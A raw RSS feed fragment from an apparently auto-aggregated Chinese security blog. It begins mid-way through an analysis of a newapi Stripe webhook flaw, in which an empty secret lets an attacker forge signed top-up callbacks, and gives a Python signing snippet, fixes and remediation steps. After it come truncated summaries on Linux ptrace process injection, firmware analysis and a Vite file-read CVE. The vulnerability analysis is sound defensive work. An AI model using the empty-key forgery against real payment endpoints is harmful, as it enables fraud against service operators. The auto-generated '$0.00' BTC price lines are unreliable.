&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;# 空密钥&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;timestamp.body&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;hashlib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sha256&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hexdigest&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 结果：有效的 64 字符十六进制字符串&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;服务端代码若未检查 &lt;code&gt;webhook_secret&lt;/code&gt; 是否为空，就会用空密钥验签，导致攻击者可以：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;获取相同的 payload&lt;/li&gt;
&lt;li&gt;用空密钥计算相同的签名&lt;/li&gt;
&lt;li&gt;伪造出&amp;quot;合法&amp;quot;的请求&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="正确的防御姿势"&gt;正确的防御姿势
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# ❌ 错误：未检查密钥是否为空&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;webhook_secret&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;webhook_secret&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt; &lt;span class="c1"&gt;# 危险！&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# ✅ 正确：强制要求配置密钥&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;webhook_secret&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;webhook_secret&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="n"&gt;ConfigurationError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;Stripe webhook secret must be configured&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h2 id="影响范围"&gt;影响范围
&lt;/h2&gt;&lt;h3 id="直接受影响"&gt;直接受影响
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;所有使用 newapi v0.12.10 之前版本&lt;/li&gt;
&lt;li&gt;未配置或错误配置 &lt;code&gt;StripeWebhookSecret&lt;/code&gt; 的实例&lt;/li&gt;
&lt;li&gt;依赖 Stripe Webhook 进行充值确认的业务&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="潜在风险"&gt;潜在风险
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;资金损失&lt;/strong&gt;：攻击者可零成本获取服务额度&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;数据污染&lt;/strong&gt;：虚假交易记录污染财务数据&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;合规风险&lt;/strong&gt;：支付审计无法通过&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="修复建议"&gt;修复建议
&lt;/h2&gt;&lt;h3 id="立即措施"&gt;立即措施
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;升级版本&lt;/strong&gt;：立即升级到 v0.12.10 或更高版本&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;检查配置&lt;/strong&gt;：确认 &lt;code&gt;StripeWebhookSecret&lt;/code&gt; 已正确配置（非空）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;审计日志&lt;/strong&gt;：检查历史 Webhook 记录，排查异常充值&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="长期加固"&gt;长期加固
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;启动检查&lt;/strong&gt;：服务启动时强制验证关键配置项&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;签名验证增强&lt;/strong&gt;：除 HMAC 外，增加时间戳窗口校验&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;对账机制&lt;/strong&gt;：定期与 Stripe Dashboard 对账，发现不一致立即告警&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;监控告警&lt;/strong&gt;：对大额充值、频繁充值设置阈值告警&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2 id="代码修复示例"&gt;代码修复示例
&lt;/h2&gt;&lt;p&gt;v0.12.10 的修复逻辑（推测）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-go" data-lang="go"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// 修复前&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kd"&gt;func&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nx"&gt;Service&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;VerifyWebhook&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;payload&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;signature&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nx"&gt;Event&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;error&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;secret&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;config&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;StripeWebhookSecret&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// 可能为空&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;webhook&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ConstructEvent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;signature&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;secret&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// 修复后&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kd"&gt;func&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nx"&gt;Service&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;VerifyWebhook&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;payload&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;signature&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nx"&gt;Event&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;error&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;config&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;StripeWebhookSecret&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;errors&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;New&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;stripe webhook secret not configured&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;webhook&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ConstructEvent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;signature&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;config&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;StripeWebhookSecret&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h2 id="总结"&gt;总结
&lt;/h2&gt;&lt;p&gt;这是一个典型的&lt;strong&gt;配置缺陷 + 逻辑漏洞&lt;/strong&gt;组合：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;配置缺陷&lt;/strong&gt;：允许空密钥存在&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;逻辑漏洞&lt;/strong&gt;：未验证密钥有效性即进行签名计算&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;教训&lt;/strong&gt;：安全配置项必须在上层进行有效性校验，不能依赖底层库的&amp;quot;隐式行为”。空字符串不是&amp;quot;未配置&amp;quot;，而是&amp;quot;配置了空值&amp;quot;——这两者有本质区别。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="参考资料"&gt;参考资料
&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;a class="link" href="https://github.com/QuantumNous/new-api/releases/tag/v0.12.10" target="_blank" rel="noopener"
 &gt;new-api v0.12.10 Release Notes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://stripe.com/docs/webhooks/best-practices" target="_blank" rel="noopener"
 &gt;Stripe Webhook Security Best Practices&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;本文基于社区披露信息进行分析，仅供安全研究参考。请合法合规使用，未经授权不得对任何系统进行测试。&lt;/em&gt;&lt;/p&gt;</description></item><item><title>基于ptrace与/proc/mem的Linux无文件进程注入：攻击实现与内存取证检测</title><link>https://blog.7qiang.com/posts/auto-security-20260415-911/</link><pubDate>Wed, 15 Apr 2026 12:00:46 +0000</pubDate><guid>https://blog.7qiang.com/posts/auto-security-20260415-911/</guid><description>&lt;img src="https://blog.7qiang.com/blog-cover-cyber-mask.gif" alt="Featured image of post 基于ptrace与/proc/mem的Linux无文件进程注入：攻击实现与内存取证检测" /&gt;&lt;section class="xiaoyao-contact-card" aria-label="联系逍遥"&gt;
 &lt;img class="xiaoyao-contact-card__qr" src="https://blog.7qiang.com/contact-qr.png" width="690" height="690" loading="lazy" decoding="async" alt="逍遥微信二维码"&gt;
 &lt;div class="xiaoyao-contact-card__content"&gt;
 &lt;h3 class="xiaoyao-contact-card__title"&gt;联系逍遥&lt;/h3&gt;
 &lt;p class="xiaoyao-contact-card__description"&gt;扫码添加微信，或点击下方按钮复制联系方式。&lt;/p&gt;
 &lt;div class="xiaoyao-contact-buttons" data-contact-buttons&gt;
 &lt;button class="xiaoyao-contact-button xiaoyao-contact-button--wechat" type="button" data-copy-contact="plus6566" data-copy-label="微信号"&gt;
 &lt;span class="xiaoyao-contact-button__label"&gt;微信&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__value"&gt;plus6566&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__status" data-copy-status&gt;点击复制&lt;/span&gt;
 &lt;/button&gt;
 &lt;button class="xiaoyao-contact-button xiaoyao-contact-button--qq" type="button" data-copy-contact="826215906" data-copy-label="QQ 号"&gt;
 &lt;span class="xiaoyao-contact-button__label"&gt;QQ&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__value"&gt;826215906&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__status" data-copy-status&gt;点击复制&lt;/span&gt;
 &lt;/button&gt;
 &lt;span class="xiaoyao-contact-feedback" role="status" aria-live="polite"&gt;&lt;/span&gt;
&lt;/div&gt;

 &lt;/div&gt;
&lt;/section&gt;

&lt;p&gt;进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~&lt;/p&gt;
&lt;hr&gt;
&lt;hr&gt;
&lt;h2 id="原文摘要"&gt;原文摘要
&lt;/h2&gt;&lt;p&gt;如何在不向磁盘写入任何文件的前提下，将payload注入到一个已有的合法进程中长期驻留？
这不是一个新问题。Windows平台上的进程注入技术（CreateRemoteThread、APC Injection、Process Hollowing）已经被研究得相当充分，MITRE ATT&amp;amp;CK的T1055条目下列出了十余种子技术。但Linux侧的讨论往往停留在LD_PRELOAD这类启动时劫持手段，&lt;/p&gt;
&lt;h2 id="文章来源"&gt;文章来源
&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;标题&lt;/strong&gt;: 基于ptrace与/proc/mem的Linux无文件进程注入：攻击实现与内存取证检测&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;来源&lt;/strong&gt;: security&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;链接&lt;/strong&gt;: &lt;a class="link" href="https://xz.aliyun.com/news/91971" target="_blank" rel="noopener"
 &gt;https://xz.aliyun.com/news/91971&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;时间&lt;/strong&gt;: 2026-04-15 03:27:52&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="核心内容"&gt;核心内容
&lt;/h2&gt;&lt;p&gt;如何在不向磁盘写入任何文件的前提下，将payload注入到一个已有的合法进程中长期驻留？
这不是一个新问题。Windows平台上的进程注入技术（CreateRemoteThread、APC Injection、Process Hollowing）已经被研究得相当充分，MITRE ATT&amp;amp;CK的T1055条目下列出了十余种子技术。但Linux侧的讨论往往停留在LD_PRELOAD这类启动时劫持手段，&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;内容来源：security&lt;/em&gt;
&lt;em&gt;原文链接：&lt;a class="link" href="https://xz.aliyun.com/news/91971" target="_blank" rel="noopener"
 &gt;https://xz.aliyun.com/news/91971&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;h2 id="市场背景"&gt;市场背景
&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;BTC 价格：$0.00&lt;/li&gt;
&lt;li&gt;24h 涨跌：+0.00%&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;AI Agent 加工：红队 Agent（安全视角解读）&lt;/em&gt;
&lt;em&gt;生成时间：2026-04-15T12:00:46.612472&lt;/em&gt;&lt;/p&gt;</description></item><item><title>固件分析之加载基地址与符号恢复</title><link>https://blog.7qiang.com/posts/auto-security-20260414-701/</link><pubDate>Tue, 14 Apr 2026 09:01:07 +0000</pubDate><guid>https://blog.7qiang.com/posts/auto-security-20260414-701/</guid><description>&lt;img src="https://blog.7qiang.com/blog-cover-cyber-mask.gif" alt="Featured image of post 固件分析之加载基地址与符号恢复" /&gt;&lt;section class="xiaoyao-contact-card" aria-label="联系逍遥"&gt;
 &lt;img class="xiaoyao-contact-card__qr" src="https://blog.7qiang.com/contact-qr.png" width="690" height="690" loading="lazy" decoding="async" alt="逍遥微信二维码"&gt;
 &lt;div class="xiaoyao-contact-card__content"&gt;
 &lt;h3 class="xiaoyao-contact-card__title"&gt;联系逍遥&lt;/h3&gt;
 &lt;p class="xiaoyao-contact-card__description"&gt;扫码添加微信，或点击下方按钮复制联系方式。&lt;/p&gt;
 &lt;div class="xiaoyao-contact-buttons" data-contact-buttons&gt;
 &lt;button class="xiaoyao-contact-button xiaoyao-contact-button--wechat" type="button" data-copy-contact="plus6566" data-copy-label="微信号"&gt;
 &lt;span class="xiaoyao-contact-button__label"&gt;微信&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__value"&gt;plus6566&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__status" data-copy-status&gt;点击复制&lt;/span&gt;
 &lt;/button&gt;
 &lt;button class="xiaoyao-contact-button xiaoyao-contact-button--qq" type="button" data-copy-contact="826215906" data-copy-label="QQ 号"&gt;
 &lt;span class="xiaoyao-contact-button__label"&gt;QQ&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__value"&gt;826215906&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__status" data-copy-status&gt;点击复制&lt;/span&gt;
 &lt;/button&gt;
 &lt;span class="xiaoyao-contact-feedback" role="status" aria-live="polite"&gt;&lt;/span&gt;
&lt;/div&gt;

 &lt;/div&gt;
&lt;/section&gt;

&lt;p&gt;进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~&lt;/p&gt;
&lt;hr&gt;
&lt;hr&gt;
&lt;h2 id="原文摘要"&gt;原文摘要
&lt;/h2&gt;&lt;p&gt;基地址通常是指程序或数据在内存中的起始地址，在进行内存访问和数据处理的时候非常关键。对于运行linux系统的嵌入式设备，它通常有固定的内存布局，其中内核、用户空间和其他关键数据区域的位置在启动时就已经确定，这个往往是不会变的，不需要基地址恢复，所有基地址恢复通常针对于RTOS\Ecos系统中。
所以在研究RTOS的嵌入式设备时，需要知道固件在内存中的加载地址。加载地址的偏差会导致一些绝对地址的引用&lt;/p&gt;
&lt;h2 id="文章来源"&gt;文章来源
&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;标题&lt;/strong&gt;: 固件分析之加载基地址与符号恢复&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;来源&lt;/strong&gt;: security&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;链接&lt;/strong&gt;: &lt;a class="link" href="https://xz.aliyun.com/news/91937" target="_blank" rel="noopener"
 &gt;https://xz.aliyun.com/news/91937&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;时间&lt;/strong&gt;: 2026-04-08 17:07:40&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="核心内容"&gt;核心内容
&lt;/h2&gt;&lt;p&gt;基地址通常是指程序或数据在内存中的起始地址，在进行内存访问和数据处理的时候非常关键。对于运行linux系统的嵌入式设备，它通常有固定的内存布局，其中内核、用户空间和其他关键数据区域的位置在启动时就已经确定，这个往往是不会变的，不需要基地址恢复，所有基地址恢复通常针对于RTOS\Ecos系统中。
所以在研究RTOS的嵌入式设备时，需要知道固件在内存中的加载地址。加载地址的偏差会导致一些绝对地址的引用&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;内容来源：security&lt;/em&gt;
&lt;em&gt;原文链接：&lt;a class="link" href="https://xz.aliyun.com/news/91937" target="_blank" rel="noopener"
 &gt;https://xz.aliyun.com/news/91937&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;h2 id="市场背景"&gt;市场背景
&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;BTC 价格：$0.00&lt;/li&gt;
&lt;li&gt;24h 涨跌：+0.00%&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;AI Agent 加工：红队 Agent（安全视角解读）&lt;/em&gt;
&lt;em&gt;生成时间：2026-04-14T09:01:07.334465&lt;/em&gt;&lt;/p&gt;</description></item><item><title>CVE-2026-39363：Vite开发服务器任意文件读取漏洞分析复现</title><link>https://blog.7qiang.com/posts/auto-security-20260414-19/</link><pubDate>Tue, 14 Apr 2026 09:01:01 +0000</pubDate><guid>https://blog.7qiang.com/posts/auto-security-20260414-19/</guid><description>&lt;img src="https://blog.7qiang.com/blog-cover-cyber-mask.gif" alt="Featured image of post CVE-2026-39363：Vite开发服务器任意文件读取漏洞分析复现" /&gt;&lt;section class="xiaoyao-contact-card" aria-label="联系逍遥"&gt;
 &lt;img class="xiaoyao-contact-card__qr" src="https://blog.7qiang.com/contact-qr.png" width="690" height="690" loading="lazy" decoding="async" alt="逍遥微信二维码"&gt;
 &lt;div class="xiaoyao-contact-card__content"&gt;
 &lt;h3 class="xiaoyao-contact-card__title"&gt;联系逍遥&lt;/h3&gt;
 &lt;p class="xiaoyao-contact-card__description"&gt;扫码添加微信，或点击下方按钮复制联系方式。&lt;/p&gt;
 &lt;div class="xiaoyao-contact-buttons" data-contact-buttons&gt;
 &lt;button class="xiaoyao-contact-button xiaoyao-contact-button--wechat" type="button" data-copy-contact="plus6566" data-copy-label="微信号"&gt;
 &lt;span class="xiaoyao-contact-button__label"&gt;微信&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__value"&gt;plus6566&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__status" data-copy-status&gt;点击复制&lt;/span&gt;
 &lt;/button&gt;
 &lt;button class="xiaoyao-contact-button xiaoyao-contact-button--qq" type="button" data-copy-contact="826215906" data-copy-label="QQ 号"&gt;
 &lt;span class="xiaoyao-contact-button__label"&gt;QQ&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__value"&gt;826215906&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__status" data-copy-status&gt;点击复制&lt;/span&gt;
 &lt;/button&gt;
 &lt;span class="xiaoyao-contact-feedback" role="status" aria-live="polite"&gt;&lt;/span&gt;
&lt;/div&gt;

 &lt;/div&gt;
&lt;/section&gt;

